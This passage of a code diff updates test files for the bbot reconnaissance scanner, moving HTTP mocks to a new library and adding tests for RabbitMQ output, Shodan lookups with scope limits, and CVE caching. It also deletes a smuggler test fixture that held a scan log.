@@ -410,7 +410,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/collections/10197090-f46bebfd-420a-4adf-97d1-6fb5a02cf7fc",
             json={
                 "collection": {
diff --git a/bbot/test/test_step_2/module_tests/test_module_postman_download.py b/bbot/test/test_step_2/module_tests/test_module_postman_download.py
index 45a22cc4b9..64e4069e91 100644
--- a/bbot/test/test_step_2/module_tests/test_module_postman_download.py
+++ b/bbot/test/test_step_2/module_tests/test_module_postman_download.py
@@ -11,7 +11,7 @@ class TestPostman_Download(ModuleTestBase):
     modules_overrides = ["postman", "postman_download", "speculate"]
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/me",
             match_headers={"X-Api-Key": "asdf"},
             json={
@@ -48,7 +48,7 @@ async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {"blacklanternsecurity.com": {"A": ["127.0.0.99"]}, "github.com": {"A": ["127.0.0.99"]}}
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/ws/proxy",
             match_json={
                 "service": "search",
@@ -144,7 +144,7 @@ async def setup_after_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/ws/proxy",
             match_json={
                 "service": "workspaces",
@@ -178,7 +178,7 @@ async def setup_after_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/workspaces/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b",
             match_headers={"X-Api-Key": "asdf"},
             json={
@@ -210,7 +210,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.postman.com/_api/workspace/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b/globals",
             json={
                 "model_id": "8be7574b-219f-49e0-8d25-da447a882e4e",
@@ -232,7 +232,7 @@ async def setup_after_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/environments/10197090-f770f816-9c6a-40f7-bde3-c0855d2a1089",
             match_headers={"X-Api-Key": "asdf"},
             json={
@@ -253,7 +253,7 @@ async def setup_after_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.getpostman.com/collections/10197090-2aab9fd0-3715-4abe-8bb0-8cb0264d023f",
             match_headers={"X-Api-Key": "asdf"},
             json={
diff --git a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py
new file mode 100644
index 0000000000..0e76fd05db
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py
@@ -0,0 +1,71 @@
+import json
+import asyncio
+
+from .base import ModuleTestBase
+
+
+class TestRabbitMQ(ModuleTestBase):
+    config_overrides = {
+        "modules": {
+            "rabbitmq": {
+                "url": "amqp://guest:guest@localhost/",
+                "queue": "bbot_events",
+            }
+        }
+    }
+    skip_distro_tests = True
+
+    async def setup_before_prep(self, module_test):
+        # Remove any leftover container from a previous failed run
+        proc = await asyncio.create_subprocess_exec(
+            "docker",
+            "rm",
+            "-f",
+            "bbot-test-rabbitmq",
+            stdout=asyncio.subprocess.PIPE,
+            stderr=asyncio.subprocess.PIPE,
+        )
+        await proc.wait()
+
+        # Start RabbitMQ
+        await asyncio.create_subprocess_exec(
+            "docker", "run", "-d", "--rm", "--name", "bbot-test-rabbitmq", "-p", "5672:5672", "rabbitmq:3-management"
+        )
+
+        # Wait for RabbitMQ to be ready by checking the port
+        await self.wait_for_port_open(5672)
+
+    async def check(self, module_test, events):
+        import aio_pika
+
+        connection = await aio_pika.connect_robust("amqp://guest:guest@localhost/")
+        channel = await connection.channel()
+        queue = await channel.declare_queue("bbot_events", durable=True)
+
+        try:
+            events_json = [e.json() for e in events]
+            events_json.sort(key=lambda x: x["timestamp"])
+
+            # Collect events from RabbitMQ
+            rabbitmq_events = []
+            async with queue.iterator() as queue_iter:
+                async for message in queue_iter:
+                    async with message.process():
+                        event_data = json.loads(message.body.decode("utf-8"))
+                        rabbitmq_events.append(event_data)
+                        if len(rabbitmq_events) >= len(events_json):
+                            break
+
+            rabbitmq_events.sort(key=lambda x: x["timestamp"])
+
+            # Verify the events match
+            assert events_json == rabbitmq_events, "Events do not match"
+
+        finally:
+            # Clean up: Close the RabbitMQ connection
+            await connection.close()
+            # Stop RabbitMQ container
+            process = await asyncio.create_subprocess_exec(
+                "docker", "stop", "bbot-test-rabbitmq", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE
+            )
+            await process.communicate()
diff --git a/bbot/test/test_step_2/module_tests/test_module_rapiddns.py b/bbot/test/test_step_2/module_tests/test_module_rapiddns.py
index df8d45fbd8..268c466a69 100644
--- a/bbot/test/test_step_2/module_tests/test_module_rapiddns.py
+++ b/bbot/test/test_step_2/module_tests/test_module_rapiddns.py
@@ -1,4 +1,4 @@
-import httpx
+from bbot.test.mock_blasthttp import TimeoutException
 
 from .base import ModuleTestBase
 
@@ -10,7 +10,7 @@ class TestRapidDNS(ModuleTestBase):
 
     async def setup_after_prep(self, module_test):
         module_test.module.abort_if = lambda e: False
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://rapiddns.io/subdomain/blacklanternsecurity.com?full=1#result", text=self.web_body
         )
 
@@ -30,9 +30,9 @@ async def custom_callback(request):
                 self.url_count[url] += 1
             except KeyError:
                 self.url_count[url] = 1
-            raise httpx.TimeoutException("timeout")
+            raise TimeoutException("timeout")
 
-        module_test.httpx_mock.add_callback(custom_callback)
+        module_test.blasthttp_mock.add_callback(custom_callback)
 
         await module_test.mock_dns(
             {
diff --git a/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py b/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py
index 2a4bf33c29..f4e84855c7 100644
--- a/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py
+++ b/bbot/test/test_step_2/module_tests/test_module_reflected_parameters.py
@@ -1,14 +1,43 @@
+from types import SimpleNamespace
+from urllib.parse import urlparse, parse_qs
+
+import pytest
+
 from .base import ModuleTestBase, tempwordlist
 from werkzeug.wrappers import Response
 import re
 
+from bbot.core.helpers.url import add_get_params
+from bbot.modules.reflected_parameters import reflected_parameters as reflected_parameters_module
+
 from .test_module_paramminer_getparams import TestParamminer_Getparams
 from .test_module_paramminer_headers import helper
 
 
+@pytest.mark.asyncio
+async def test_reflected_parameters_send_probe_with_canary_merges_querystring():
+    captured = {}
+
+    async def fake_request(**kwargs):
+        captured["url"] = kwargs["url"]
+        return None
+
+    mod = SimpleNamespace(
+        helpers=SimpleNamespace(add_get_params=add_get_params, request=fake_request),
+        debug=lambda *_a, **_kw: None,
+    )
+    event = SimpleNamespace(url="https://x.test/path?init=true", data={"type": "GETPARAM"})
+
+    await reflected_parameters_module.send_probe_with_canary(mod, event, "p", "PROBE", "C4N", cookies={})
+
+    assert captured["url"].count("?") == 1
+    qs = parse_qs(urlparse(captured["url"]).query)
+    assert qs == {"init": ["true"], "p": ["PROBE"], "c4n4ry": ["C4N"]}
+
+
 class TestReflected_parameters_fromexcavate(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "reflected_parameters", "excavate"]
+    modules_overrides = ["http", "reflected_parameters", "excavate"]
 
     def request_handler(self, request):
         normal_block = '<html><a href="/?reflected=foo">foo</a></html>'
@@ -36,7 +65,7 @@ def check(self, module_test, events):
 
 
 class TestReflected_parameters_headers(TestReflected_parameters_fromexcavate):
-    modules_overrides = ["httpx", "reflected_parameters", "excavate", "paramminer_headers"]
+    modules_overrides = ["http", "reflected_parameters", "excavate", "paramminer_headers"]
     config_overrides = {
         "modules": {
             "paramminer_headers": {"wordlist": tempwordlist(["junkword1", "tracestate"]), "recycle_words": True}
@@ -62,7 +91,7 @@ def check(self, module_test, events):
 
 
 class TestReflected_parameters_fromparamminer(TestParamminer_Getparams):
-    modules_overrides = ["httpx", "paramminer_getparams", "reflected_parameters"]
+    modules_overrides = ["http", "paramminer_getparams", "reflected_parameters"]
 
     def request_handler(self, request):
         normal_block = "<html></html>"
@@ -115,7 +144,7 @@ def check(self, module_test, events):
 
 
 class TestReflected_parameters_cookies(TestReflected_parameters_fromexcavate):
-    modules_overrides = ["httpx", "reflected_parameters", "excavate", "paramminer_cookies"]
+    modules_overrides = ["http", "reflected_parameters", "excavate", "paramminer_cookies"]
     config_overrides = {
         "modules": {
             "paramminer_cookies": {"wordlist": tempwordlist(["junkword1", "testcookie"]), "recycle_words": True}
@@ -141,7 +170,7 @@ def check(self, module_test, events):
 
 
 class TestReflected_parameters_postparams(TestReflected_parameters_fromexcavate):
-    modules_overrides = ["httpx", "reflected_parameters", "excavate"]
+    modules_overrides = ["http", "reflected_parameters", "excavate"]
 
     def request_handler(self, request):
         form_data = request.form
@@ -172,7 +201,7 @@ def check(self, module_test, events):
 
 
 class TestReflected_parameters_bodyjson(TestReflected_parameters_fromexcavate):
-    modules_overrides = ["httpx", "reflected_parameters", "excavate"]
+    modules_overrides = ["http", "reflected_parameters", "excavate"]
 
     def request_handler(self, request):
         # Ensure the request is expecting JSON data
diff --git a/bbot/test/test_step_2/module_tests/test_module_retirejs.py b/bbot/test/test_step_2/module_tests/test_module_retirejs.py
index 9d3d28c225..83ed5f7827 100644
--- a/bbot/test/test_step_2/module_tests/test_module_retirejs.py
+++ b/bbot/test/test_step_2/module_tests/test_module_retirejs.py
@@ -3,7 +3,7 @@
 
 class TestRetireJS(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "excavate", "retirejs"]
+    modules_overrides = ["http", "excavate", "retirejs"]
 
     # HTML page with vulnerable JavaScript libraries
     vulnerable_html = """<!doctype html>
@@ -97,7 +97,7 @@ def check(self, module_test, events):
         # The third, non-vulnerable URL (lodash.min.js) is not output because it's a "special URL", and
         # nothing interesting has been discovered from it.
         vuln_urls = {"http://127.0.0.1:8888/handlebars.min.js", "http://127.0.0.1:8888/jquery-3.4.1.min.js"}
-        assert {e.data for e in js_url_events} == vuln_urls, "Expected to find the vulnerable URLs in the output"
+        assert {e.url for e in js_url_events} == vuln_urls, "Expected to find the vulnerable URLs in the output"
 
         # Check for FINDING events generated by retirejs
         finding_events = [e for e in events if e.type == "FINDING"]
@@ -133,12 +133,18 @@ def has_vuln(library, version, cve, js_url):
         for finding in retirejs_findings:
             assert "description" in finding.data, "Finding should have description"
             assert "url" in finding.data, "Finding should have url"
+            # url field should point to the page that loaded the JS, not the JS file itself
+            assert finding.data["url"] == "http://127.0.0.1:8888/", "url should be the parent page URL"
             assert finding.parent.type == "URL_UNVERIFIED", "Parent should be URL_UNVERIFIED"
+            # severity should always be INFO; the CVE severity belongs in the description only
+            assert finding.data["severity"] == "INFO", (
+                f"Finding severity should be INFO, got {finding.data['severity']}"
+            )
 
 
 class TestRetireJSNoExcavate(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "retirejs"]
+    modules_overrides = ["http", "retirejs"]
     force_start = True  # Allow scan to continue even if modules fail setup
     config_overrides = {
         "excavate": False,
diff --git a/bbot/test/test_step_2/module_tests/test_module_robots.py b/bbot/test/test_step_2/module_tests/test_module_robots.py
index 3d9156bb4c..667db93d26 100644
--- a/bbot/test/test_step_2/module_tests/test_module_robots.py
+++ b/bbot/test/test_step_2/module_tests/test_module_robots.py
@@ -4,7 +4,7 @@
 
 class TestRobots(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "robots"]
+    modules_overrides = ["http", "robots"]
     config_overrides = {"modules": {"robots": {"include_sitemap": True}}}
 
     async def setup_after_prep(self, module_test):
@@ -22,18 +22,18 @@ def check(self, module_test, events):
 
         for e in events:
             if e.type == "URL_UNVERIFIED":
-                if str(e.module) != "TARGET":
+                if str(e.module) != "SEED":
                     assert "spider-danger" in e.tags, f"{e} doesn't have spider-danger tag"
-                if e.data == "http://127.0.0.1:8888/allow/":
+                if e.url == "http://127.0.0.1:8888/allow/":
                     allow_bool = True
 
-                if e.data == "http://127.0.0.1:8888/disallow/":
+                if e.url == "http://127.0.0.1:8888/disallow/":
                     disallow_bool = True
 
-                if e.data == "http://127.0.0.1:8888/sitemap.txt":
+                if e.url == "http://127.0.0.1:8888/sitemap.txt":
                     sitemap_bool = True
 
-                if re.match(r"http://127\.0\.0\.1:8888/\w+/wildcard\.txt", e.data):
+                if re.match(r"http://127\.0\.0\.1:8888/\w+/wildcard\.txt", e.url):
                     wildcard_bool = True
 
         assert allow_bool
diff --git a/bbot/test/test_step_2/module_tests/test_module_securitytrails.py b/bbot/test/test_step_2/module_tests/test_module_securitytrails.py
index 5010f3bc49..8ea10b9a1c 100644
--- a/bbot/test/test_step_2/module_tests/test_module_securitytrails.py
+++ b/bbot/test/test_step_2/module_tests/test_module_securitytrails.py
@@ -5,10 +5,10 @@ class TestSecurityTrails(ModuleTestBase):
     config_overrides = {"modules": {"securitytrails": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.securitytrails.com/v1/ping?apikey=asdf",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.securitytrails.com/v1/domain/blacklanternsecurity.com/subdomains?apikey=asdf",
             json={
                 "subdomains": [
diff --git a/bbot/test/test_step_2/module_tests/test_module_securitytxt.py b/bbot/test/test_step_2/module_tests/test_module_securitytxt.py
index 0fa897c222..d492299e9a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_securitytxt.py
+++ b/bbot/test/test_step_2/module_tests/test_module_securitytxt.py
@@ -6,7 +6,7 @@ class TestSecurityTxt(ModuleTestBase):
     modules_overrides = ["securitytxt", "speculate"]
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://blacklanternsecurity.notreal/.well-known/security.txt",
             text="-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\nContact: mailto:joe.smith@blacklanternsecurity.notreal\nContact: mailto:vdp@example.com\nContact: https://vdp.example.com\nExpires: 2025-01-01T00:00:00.000Z\nPreferred-Languages: fr, en\nCanonical: https://blacklanternsecurity.notreal/.well-known/security.txt\nPolicy: https://example.com/cert\nHiring: https://www.careers.example.com\n-----BEGIN PGP SIGNATURE-----\n\nSIGNATURE\n\n-----END PGP SIGNATURE-----",
         )
@@ -25,7 +25,7 @@ def check(self, module_test, events):
             "Failed to detect email address"
         )
         assert not any(
-            e.type == "URL_UNVERIFIED" and e.data == "https://blacklanternsecurity.notreal/.well-known/security.txt"
+            e.type == "URL_UNVERIFIED" and e.url == "https://blacklanternsecurity.notreal/.well-known/security.txt"
             for e in events
         ), "Failed to filter Canonical URL to self"
         assert not any(str(e.data) == "vdp@example.com" for e in events)
@@ -39,12 +39,12 @@ class TestSecurityTxtEmailsFalse(TestSecurityTxt):
 
     def check(self, module_test, events):
         assert not any(e.type == "EMAIL_ADDRESS" for e in events), "Detected email address when emails=False"
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "https://vdp.example.com/" for e in events), (
+        assert any(e.type == "URL_UNVERIFIED" and e.url == "https://vdp.example.com/" for e in events), (
             "Failed to detect URL"
         )
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "https://example.com/cert" for e in events), (
+        assert any(e.type == "URL_UNVERIFIED" and e.url == "https://example.com/cert" for e in events), (
             "Failed to detect URL"
         )
-        assert any(e.type == "URL_UNVERIFIED" and e.data == "https://www.careers.example.com/" for e in events), (
+        assert any(e.type == "URL_UNVERIFIED" and e.url == "https://www.careers.example.com/" for e in events), (
             "Failed to detect URL"
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py
index 3731220488..ebedce64e8 100644
--- a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py
+++ b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py
@@ -2,13 +2,13 @@
 
 
 class TestShodan_DNS(ModuleTestBase):
-    config_overrides = {"modules": {"shodan": {"api_key": "asdf"}}}
+    config_overrides = {"modules": {"shodan_dns": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.shodan.io/api-info?key=asdf",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.shodan.io/dns/domain/blacklanternsecurity.com?key=asdf&page=1",
             json={
                 "subdomains": [
@@ -16,7 +16,7 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.shodan.io/dns/domain/blacklanternsecurity.com?key=asdf&page=2",
             json={
                 "subdomains": [
@@ -24,6 +24,8 @@ async def setup_before_prep(self, module_test):
                 ],
             },
         )
+
+    async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {
                 "blacklanternsecurity.com": {
diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py
new file mode 100644
index 0000000000..0860c95dac
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py
@@ -0,0 +1,136 @@
+from .base import ModuleTestBase
+
+
+class TestShodan_Enterprise(ModuleTestBase):
+    targets = ["8.8.8.8"]
+    config_overrides = {"modules": {"shodan_enterprise": {"api_key": "deadbeef"}}}
+
+    async def setup_before_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="https://api.shodan.io/shodan/host/8.8.8.8?key=deadbeef",
+            json={
+                "asn": "AS15169",
+                "org": "Google LLC",
+                "isp": "Google LLC",
+                "country_code": "US",
+                "tags": ["cloud", "public-dns", "verified"],
+                "data": [
+                    {
+                        "ip_str": "8.8.8.8",
+                        "port": 53,
+                        "transport": "tcp",
+                        "product": "Google Public DNS",
+                        "tags": ["dns", "nameserver"],
+                        "cpe": ["cpe:/a:google:dns"],
+                        "cpe23": ["cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*"],
+                        "http": {
+                            "components": {
+                                "OpenSSL": {"categories": ["web-crypto"]},
+                                "nginx": {"categories": ["web-servers"]},
+                            }
+                        },
+                        "vulns": {
+                            "CVE-2021-12345": {"cvss": 7.5},
+                            "CVE-2022-11111": {"cvss": 9.7},
+                            "CVE-2020-00001": {"cvss": 2.5},
+                        },
+                    },
+                    {
+                        "ip_str": "8.8.8.8",
+                        "port": 53,
+                        "transport": "udp",
+                        "product": "Google Public DNS",
+                        "tags": ["dns"],
+                        "cpe": [],
+                        "cpe23": [],
+                        "http": {},
+                        "vulns": {},
+                    },
+                ],
+            },
+        )
+
+    def check(self, module_test, events):
+        tcp_ports = [e.data for e in events if e.type == "OPEN_TCP_PORT"]
+        udp_ports = [e.data for e in events if e.type == "OPEN_UDP_PORT"]
+        assert any("8.8.8.8:53" in str(p) for p in tcp_ports), "TCP port 53 not detected"
+        assert any("8.8.8.8:53" in str(p) for p in udp_ports), "UDP port 53 not detected"
+        finding_events = [e for e in events if e.type == "FINDING"]
+        finding_map = {e.data.get("description"): e.data.get("severity") for e in finding_events}
+        assert "CVE-2021-12345" in finding_map
+        assert finding_map["CVE-2021-12345"] == "HIGH"
+        assert "CVE-2020-00001" in finding_map
+        assert finding_map["CVE-2020-00001"] == "LOW"
+        tech_events = [e for e in events if e.type == "TECHNOLOGY"]
+        tech_names = {e.data.get("technology") for e in tech_events}
+        assert "cpe:/a:google:dns" in tech_names
+        assert "google public dns" in tech_names
+        assert "openssl" in tech_names
+        assert "nginx" in tech_names
+
+
+shodan_response_1_1_1_1 = {
+    "data": [
+        {
+            "ip_str": "1.1.1.1",
+            "port": 80,
+            "transport": "tcp",
+            "product": "cloudflare",
+            "tags": [],
+            "cpe": [],
+            "cpe23": [],
+            "http": {},
+            "vulns": {},
+        },
+    ],
+}
+
+
+class TestShodan_Enterprise_InScopeOnly(ModuleTestBase):
+    """Test that in_scope_only=True (default) does NOT query out-of-scope IPs."""
+
+    targets = ["evilcorp.notreal"]
+    module_name = "shodan_enterprise"
+    config_overrides = {"modules": {"shodan_enterprise": {"api_key": "deadbeef"}}}
+
+    async def setup_before_prep(self, module_test):
+        # This should NOT be called because in_scope_only=True
+        module_test.blasthttp_mock.add_response(
+            url="https://api.shodan.io/shodan/host/1.1.1.1?key=deadbeef",
+            json=shodan_response_1_1_1_1,
+        )
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"evilcorp.notreal": {"A": ["1.1.1.1"]}})
+
+    def check(self, module_test, events):
+        assert not any(e.type == "OPEN_TCP_PORT" and "1.1.1.1" in e.data for e in events), (
+            "Should not have queried out-of-scope IP with in_scope_only=True"
+        )
+
+
+class TestShodan_Enterprise_OutOfScope(ModuleTestBase):
+    """Test that in_scope_only=False DOES query out-of-scope IPs (up to distance 1)."""
+
+    targets = ["evilcorp.notreal"]
+    module_name = "shodan_enterprise"
+    config_overrides = {
+        "modules": {"shodan_enterprise": {"api_key": "deadbeef", "in_scope_only": False}},
+        "dns": {"minimal": False},
+        "scope": {"report_distance": 1},
+    }
+
+    async def setup_before_prep(self, module_test):
+        # This SHOULD be called because in_scope_only=False
+        module_test.blasthttp_mock.add_response(
+            url="https://api.shodan.io/shodan/host/1.1.1.1?key=deadbeef",
+            json=shodan_response_1_1_1_1,
+        )
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns({"evilcorp.notreal": {"A": ["1.1.1.1"]}})
+
+    def check(self, module_test, events):
+        assert any(e.type == "OPEN_TCP_PORT" and e.data == "1.1.1.1:80" for e in events), (
+            "Should have queried out-of-scope IP with in_scope_only=False"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py
index 482a355856..e1dc470d3a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py
+++ b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py
@@ -1,10 +1,11 @@
 from .base import ModuleTestBase
+from bbot.test.mock_blasthttp import MockResponse
 
 
 class TestShodan_IDB(ModuleTestBase):
     config_overrides = {"dns": {"minimal": False}}
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {
                 "blacklanternsecurity.com": {"A": ["1.2.3.4"]},
@@ -13,7 +14,7 @@ async def setup_before_prep(self, module_test):
             }
         )
 
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://internetdb.shodan.io/1.2.3.4",
             json={
                 "cpes": [
@@ -25,16 +26,28 @@ async def setup_before_prep(self, module_test):
                     "mail.blacklanternsecurity.com",
                 ],
                 "ip": "1.2.3.4",
-                "ports": [
-                    25,
-                    80,
-                    443,
-                ],
+                "ports": [25, 80, 443],
                 "tags": ["starttls", "self-signed", "eol-os"],
                 "vulns": ["CVE-2021-26857", "CVE-2021-26855"],
             },
         )
 
+        module_test.cvedb_request_counts = {}
+
+        def make_cb(cve_id, cvss):
+            def cb(request):
+                module_test.cvedb_request_counts[cve_id] = module_test.cvedb_request_counts.get(cve_id, 0) + 1
+                return MockResponse(status_code=200, json={"cve_id": cve_id, "cvss_v3": cvss})
+
+            return cb
+
+        module_test.blasthttp_mock.add_callback(
+            make_cb("CVE-2021-26857", 7.8), url="https://cvedb.shodan.io/cve/CVE-2021-26857"
+        )
+        module_test.blasthttp_mock.add_callback(
+            make_cb("CVE-2021-26855", 9.1), url="https://cvedb.shodan.io/cve/CVE-2021-26855"
+        )
+
     def check(self, module_test, events):
         assert 8 == len([e for e in events if str(e.module) == "shodan_idb"])
         assert 1 == len(
@@ -48,13 +61,43 @@ def check(self, module_test, events):
                 if e.type == "OPEN_TCP_PORT" and e.host == "blacklanternsecurity.com" and str(e.module) == "shodan_idb"
             ]
         )
-        assert 1 == len([e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"])
-        assert 1 == len([e for e in events if e.type == "FINDING" and "CVE-2021-26857" in e.data["description"]])
+        finding_events = [e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"]
+        assert 1 == len(finding_events)
+        description = finding_events[0].data["description"]
+        assert "blacklanternsecurity.com" in description
+        assert "CVE-2021-26857 [HIGH, 7.8]" in description
+        assert "CVE-2021-26855 [CRITICAL, 9.1]" in description
+        assert description.index("CVE-2021-26855") < description.index("CVE-2021-26857")
+        assert "\n" not in description
+        assert finding_events[0].data["severity"] == "INFO"
         assert 2 == len([e for e in events if e.type == "TECHNOLOGY" and str(e.module) == "shodan_idb"])
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:/a:microsoft:outlook_web_access:15.0.1367"
-            ]
-        )
+
+        assert set(module_test.module._cve_cache.keys()) == {"CVE-2021-26857", "CVE-2021-26855"}
+        assert module_test.cvedb_request_counts == {"CVE-2021-26857": 1, "CVE-2021-26855": 1}
+
+
+class TestShodan_IDB_CrossHostCache(ModuleTestBase):
+    """Same CVE on two different hosts must be fetched from CVEDB only once."""
+
+    module_name = "shodan_idb"
+    targets = ["1.2.3.4", "5.6.7.8"]
+    config_overrides = {"dns": {"minimal": False}}
+
+    async def setup_after_prep(self, module_test):
+        for ip in ("1.2.3.4", "5.6.7.8"):
+            module_test.blasthttp_mock.add_response(
+                url=f"https://internetdb.shodan.io/{ip}",
+                json={"cpes": [], "hostnames": [], "ip": ip, "ports": [443], "tags": [], "vulns": ["CVE-2021-26855"]},
+            )
+        module_test.cvedb_counts = {}
+
+        def cb(request):
+            module_test.cvedb_counts["CVE-2021-26855"] = module_test.cvedb_counts.get("CVE-2021-26855", 0) + 1
+            return MockResponse(status_code=200, json={"cve_id": "CVE-2021-26855", "cvss_v3": 9.1})
+
+        module_test.blasthttp_mock.add_callback(cb, url="https://cvedb.shodan.io/cve/CVE-2021-26855")
+
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"]
+        assert len(findings) == 2
+        assert module_test.cvedb_counts == {"CVE-2021-26855": 1}
diff --git a/bbot/test/test_step_2/module_tests/test_module_skymem.py b/bbot/test/test_step_2/module_tests/test_module_skymem.py
index 58ae02950e..fc86049221 100644
--- a/bbot/test/test_step_2/module_tests/test_module_skymem.py
+++ b/bbot/test/test_step_2/module_tests/test_module_skymem.py
@@ -5,15 +5,15 @@ class TestSkymem(ModuleTestBase):
     targets = ["blacklanternsecurity.com"]
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.skymem.info/srch?q=blacklanternsecurity.com",
             text=page_1_body,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.skymem.info/domain/5679236812ad5b3f748a413d?p=2",
             text=page_2_body,
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.skymem.info/domain/5679236812ad5b3f748a413d?p=3",
             text=page_3_body,
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_slack.py b/bbot/test/test_step_2/module_tests/test_module_slack.py
index 1258ed5110..6063031182 100644
--- a/bbot/test/test_step_2/module_tests/test_module_slack.py
+++ b/bbot/test/test_step_2/module_tests/test_module_slack.py
@@ -2,6 +2,6 @@
 
 
 class TestSlack(DiscordBase):
-    modules_overrides = ["slack", "excavate", "badsecrets", "httpx"]
+    modules_overrides = ["slack", "excavate", "badsecrets", "http"]
     webhook_url = "https://hooks.slack.com/services/deadbeef/deadbeef/deadbeef"
-    config_overrides = {"modules": {"slack": {"webhook_url": webhook_url}}}
+    config_overrides = {"modules": {"slack": {"webhook_url": webhook_url, "min_severity": "INFO"}}}
diff --git a/bbot/test/test_step_2/module_tests/test_module_smuggler.py b/bbot/test/test_step_2/module_tests/test_module_smuggler.py
deleted file mode 100644
index fb86b9ae92..0000000000
--- a/bbot/test/test_step_2/module_tests/test_module_smuggler.py
+++ /dev/null
@@ -1,60 +0,0 @@
-from .base import ModuleTestBase
-
-smuggler_text = r"""
-              ______ _
-     / _____)                       | |
-    ( (____  ____  _   _  ____  ____| | _____  ____
-     \____ \|    \| | | |/ _  |/ _  | || ___ |/ ___)
-     _____) ) | | | |_| ( (_| ( (_| | || ____| |
-    (______/|_|_|_|____/ \___ |\___ |\_)_____)_|
-                        (_____(_____|
-
-         @defparam v1.1
-
-    [+] URL        : http://127.0.0.1:8888
-    [+] Method     : POST
-    [+] Endpoint   : /
-    [+] Configfile : default.py
-    [+] Timeout    : 5.0 seconds
-    [+] Cookies    : 1 (Appending to the attack)
-    [nameprefix1]  : Checking TECL...
-    [nameprefix1]  : Checking CLTE...
-    [nameprefix1]  : OK (TECL: 0.61 - 405) (CLTE: 0.62 - 405)
-    [tabprefix1]   : Checking TECL...git
-    [tabprefix1]   : Checking CLTE...
-    [tabprefix1]   : Checking TECL...
-    [tabprefix1]   : Checking CLTE...
-    [tabprefix1]   : Checking TECL...
-    [tabprefix1]   : Checking CLTE...
